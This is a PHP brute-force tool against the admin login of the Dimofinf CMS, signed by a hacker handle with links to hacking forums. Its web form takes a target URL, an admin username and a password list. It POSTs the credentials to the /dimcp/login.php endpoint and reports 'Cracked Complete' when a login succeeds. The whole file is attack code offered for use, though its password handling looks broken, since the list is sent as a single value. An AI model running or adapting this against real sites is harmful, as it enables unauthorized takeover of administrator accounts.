Dimofinf Brute Force

<?
        @set_time_limit(0);
        /*
                coded by xsecurity
                twitter : https://twitter.com/xSecLabs
                greets to : Group x3
                home : sec4ever.com | is-sec.com
        */
        echo "<title>Dimofinf Brute Force By xSecurity</title>
        <form method='POST'>
        <center>
        <font size='2' face='Tahoma'>Dimofinf Brute Force By <b>xSecurity</b></font><br>
        <input type='text' name='host' placeholder='target.com/dimofinf'>
        <input type='text' name='user' placeholder='admin'><br>
        <textarea name='pass' placeholder='passwords' cols='29' rows='15'></textarea><br>
        <input type='submit' value='Brute'>
        </center>";
        $xsec = new xsec();
        $xsec->login();

        class xsec
        {
                private $host;
                private $user;
                private $pass;

                function login()
                {
                        $hostname =  $this->host = $_POST['host'];
                        $username =  $this->user = $_POST['user'];
                        $password =  $this->pass = $_POST['pass'];

                        $curl = curl_init();
                        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($curl, CURLOPT_POST, 1);
                        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($curl, CURLOPT_URL, $hostname."/dimcp/login.php?action=enter");
                        curl_setopt($curl, CURLOPT_POSTFIELDS, "name=".$username."&password=".$password);
                        curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                        curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                        $login = curl_exec($curl);
                        print $login;
                        if(preg_match('/Dimensions Of Information Inc/', $login))
                        {
                                print "<font face='Tahoma' size='2'>Cracked Complete -> <b>".$hostname."</b> & <b>".$username."</b> -> <b>".$password."</b></font>";
                        }
                }
        }
        system("del cookie.txt");
?>